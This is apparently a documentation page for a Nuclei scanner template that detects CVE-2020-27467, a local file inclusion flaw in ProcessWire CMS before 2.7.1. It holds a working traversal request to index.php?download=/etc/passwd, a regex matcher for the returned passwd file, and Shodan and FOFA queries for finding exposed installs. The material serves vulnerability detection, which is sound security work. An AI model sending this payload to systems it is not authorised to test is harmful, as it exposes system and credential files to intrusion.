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Processwire CMS <2.7.1 - Local File Inclusion

ID: CVE-2020-27467

Severity: high

Author: 0x_Akoko

Tags: cve,cve2020,processwire,lfi,cms,oss

Description

Section titled “Description”

Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2020-27467


info:
  name: Processwire CMS <2.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire
    - https://processwire.com/
    - https://github.com/ceng-yildirim/LFI-processwire
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27467
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-27467
    cwe-id: CWE-22
    epss-score: 0.00856
    epss-percentile: 0.82223
    cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: processwire
    product: processwire
    shodan-query: http.html:"processwire"
    fofa-query: body="processwire"
  tags: cve,cve2020,processwire,lfi,cms,oss


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?download=/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d53d4f640d8009a3c70c8e89efb79b26d3cc4bbbd1355f0b413aa33426a98fc3022100dbd879288be41923befed61ea30926d250c2807cf97dd5ab508e66a8c55f39e2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-27467.yaml"

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